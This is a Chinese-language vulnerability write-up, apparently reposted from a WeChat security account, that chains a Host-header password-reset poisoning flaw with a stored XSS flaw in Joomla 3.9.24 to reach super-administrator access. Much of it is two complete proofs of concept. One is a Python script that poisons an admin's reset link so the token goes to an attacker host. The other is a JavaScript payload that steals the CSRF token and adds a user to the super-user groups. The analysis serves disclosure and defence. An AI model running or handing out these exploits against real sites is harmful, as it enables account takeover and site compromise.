Joomla CMS中的密码重置漏洞和XSS漏洞分析及PoC

  • A+
所属分类:安全文章
Joomla CMS中的密码重置漏洞和XSS漏洞分析及PoC点击上方蓝字关注我们

Joomla是全球最受欢迎的开源CMS之一,安装量超过150万。安全研究人员发现Joomla 3.9.24存在密码重置漏洞和存储型XSS漏洞。攻击者可以组合利用这两个漏洞,以实现对底层服务器的完全破坏。

Joomla密码重置漏洞


Joomla中有两个有趣的用户角色,一个是“管理员”,另一个是“超级管理员”。显然,我们最终想要拿下的是“超级管理员”的帐号密码,但要达到这一目标还需要几个步骤。我们的目标之一是密码重置功能。


Joomla开发人员完全删除了“超级管理员”的密码重置功能。但是,我们仍然可以为不是“超级管理员”的任何其他用户重置密码。因此,我们可以先以普通“管理员”为目标。首先使用Burp进行快速扫描,并没有发现任何东西。所以,我们开始进行代码审查。密码重置进程在reset.php模型中开始:

$link = 'index.php?option=com_users&view=reset&layout=confirm&token=' . $token;
// Put together the email template data.$data = $user->getProperties();$data['fromname'] = $config->get('fromname');$data['mailfrom'] = $config->get('mailfrom');$data['sitename'] = $config->get('sitename');$data['link_text'] = JRoute::_($link, false, $mode);$data['link_html'] = JRoute::_($link, true, $mode);$data['token'] = $token;


我们需要深入挖掘并检查域名是如何被添加到重置链接的。以下是URI.php中的代码:


if (!empty($_SERVER['PHP_SELF']) && !empty($_SERVER['REQUEST_URI'])){  // To build the entire URI we need to prepend the protocol, and the http host  // to the URI string.   $theURI = 'http' . $https . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];}


可以发现密码重置链接是在URI.php中使用HOST头创建的,因此容易受到HOST头攻击。让我们用Repeater检测下是否真的存在HOST头攻击漏洞:


Joomla CMS中的密码重置漏洞和XSS漏洞分析及PoC


几分钟后,我在收件箱中成功的收到了密码重置的电子邮件,如下图所示:


Joomla CMS中的密码重置漏洞和XSS漏洞分析及PoC


如你所见主机是由攻击者控制的,受害者会被重定向到恶意服务器,该服务器将收集密码重置令牌并设置新密码。一旦毫无戒心的用户点击链接,你将可以获得管理员的重置令牌并重置他的密码


PoC概念验证:

#!/usr/bin/python
import requestsimport sysimport reimport argparseimport random

def extract_csrf_token(resp): match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S) if match is None: print("[!] Cannot find CSRF token") return None return match.group(1)

def parse_options(): parser = argparse.ArgumentParser(description='Jooma Admin Password Poisoning Exploit') parser.add_argument('-u','--url', help='Target joomla url') parser.add_argument('-e', '--email', default='Admin's email address') parser.add_argument('-p', '--poison', default='Poisoning host') return parser.parse_args()
def print_header(): clear = "x1b[0m" colors = [31, 32, 33, 34, 35, 36]
logo = """ Joomla password reset poisoning - Fortbridge @2021""" for line in logo.split("n"): sys.stdout.write("x1b[1;%dm%s%sn" % (random.choice(colors), line, clear)) #time.sleep(0.05)
def main(argv): print_header() options = parse_options() sess = requests.Session() #Burp Suite Testing #proxy = { "http" : "http://127.0.0.1:8080", "https" : "http://127.0.0.1:8080" } # #proxy = {} print("[+] You've setup the token logger, right?") print("[+] Getting the CSRF token") resp = sess.get(options.url)#, proxies= proxy) token = extract_csrf_token(resp) print("[+] Got CSRF token", token) print("[+] Sending poisoned password reset request") data = { "jform[email]": options.email, token: '1' } sess.headers["Host"]=options.poison
#We need to bypass the CookieJar rules from the Session() module when we set the Host header explicitly #Shut up, python, I know what I'm doing. sess_value = list(sess.cookies.get_dict().values())[0]; sess_key = list(sess.cookies.get_dict().keys())[0]; sess.headers["Cookie"]= sess_key +'='+sess_value resp = sess.post(options.url + '/index.php?option=com_users&task=reset.request&Itemid=104', data=data)#, proxies= proxy ) if "Your session has expired. Please log in again" in resp.text: print ("[+]Session expired, try again") elif 'An email has been sent to your email address' in resp.text: print('[+] Admin Reset Link poisoned, fingers crossed now!') elif 'You have exceeded the maximum number of password resets allowed. Please try again in one hour' in resp.text: print('[+] You have exceeded the maximum number of password resets allowed. Please try again in one hour') else: print("Some other error occured") print("[+] Use exploit cve-2021-xxxx to escalate to SuperAdmin! ") #print(resp.text)
if __name__ == "__main__": if len(sys.argv) == 7: sys.exit(main(sys.argv)) else: print("Usage: python3 "+sys.argv[0]+" -u target_url -e admin_email -p poison_host")




通过存储型XSS漏洞提升权限


我们的最终目标是“超级管理员”,因此下一步要做的是权限提升。新目标是上传媒体功能,我们使用了多种攻击手段来上传php文件,但并没有成功。通过检查,发现源代码中会对文件名、扩展名、文件内容等进行一些可靠的验证。


但在寻找可以滥用的功能时,我们发现“管理员”用户拥有禁用某些上传限制的权限。且Joomla开发人员使用了允许上传的硬编码扩展白名单。


开发人员并没有将.html扩展名硬编码在黑名单中。因此,只要拥有普通管理员权限,我们就能够将“.html”到合法扩展名中,并禁用“限制上传”,如下图所示:


Joomla CMS中的密码重置漏洞和XSS漏洞分析及PoC

虽然我们尝试将“php”扩展列入白名单的请求被完全忽略了,但我们已经成功将“.html”扩展名列入白名单。现在我们可以继续上传一个包含XSS有效载荷的“html”文件,该文件用于针对“超级管理员”用户。


Joomla CMS中的密码重置漏洞和XSS漏洞分析及PoC


我们可以使用内部消息传递功能将XSS有效载荷传递给超级管理员,也可以将链接嵌入网站文章、评论当中。一旦受害者访问该链,我们就能成功将权限提升为“超级管理员”


PoC概念验证:
<html><body><script>//CVE-2021-26032var csrf_token="";//The below 3 variables need to be set var user_id=467;            //the id of the user that gets the privilegesvar root_dir="/Joomla/";    //the root directory of Joomla setupvar username="admed";       //the username that gets the privilegesgetTokenJS();function getTokenJS() {    var xhr = new XMLHttpRequest();    xhr.open("GET", root_dir+"/administrator/index.php?option=com_users&view=users", true);    xhr.onload = function (e)     {        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200)         {            // Get the document from the response            page = xhr.response            regex=/"csrf.token":".{32}"/m;            result = String(page).match(regex);            window.csrf_token += String(result).substr(14,32);            // Show the token            console.log("The token is: " + window.csrf_token);            document.write(result);            //make req. to get privileges            getSUPrivileges();        }    };    // Make the request    xhr.send(null);}function getSUPrivileges(){  console.log("csrf: "+window.csrf_token);    value="jform%5bname%5d="+username+"&jform%5busername%5d="+username+"&jform%5bpassword%5d=&jform%5bpassword2%5d=&jform%5bemail%[email protected]&jform%5bregisterDate%5d=2021-02-19+07%3a05%3a29&jform%5blastvisitDate%5d=2021-02-25+11%3a15%3a44&jform%5blastResetTime%5d=&jform%5bresetCount%5d=0&jform%5bsendEmail%5d=0&jform%5bblock%5d=0&jform%5brequireReset%5d=0&jform%5bid%5d=467&jform%5bgroups%5d%5b%5d=7&jform%5bgroups%5d%5b%5d=2&jform%5bgroups%5d%5b%5d=4&jform%5bgroups%5d%5b%5d=8&jform%5bparams%5d%5badmin_style%5d=&jform%5bparams%5d%5badmin_language%5d=&jform%5bparams%5d%5blanguage%5d=&jform%5bparams%5d%5beditor%5d=&jform%5bparams%5d%5btimezone%5d=&task=user.apply&"+window.csrf_token+"=1"    console.log(value);    var xhr = new XMLHttpRequest();    xhr.open("POST", root_dir+"/administrator/index.php?option=com_users&layout=edit&id="+user_id, true);    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');    xhr.onreadystatechange = function()     {//Call a function when the state changes.        if(xhr.readyState == 4 && xhr.status == 200)         {            console.log("request done");        }    }     xhr.send(value);}</script></body></html>


Joomla CMS中的密码重置漏洞和XSS漏洞分析及PoC

END



Joomla CMS中的密码重置漏洞和XSS漏洞分析及PoC


好文!必须在看

本文始发于微信公众号(SecTr安全团队):Joomla CMS中的密码重置漏洞和XSS漏洞分析及PoC

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: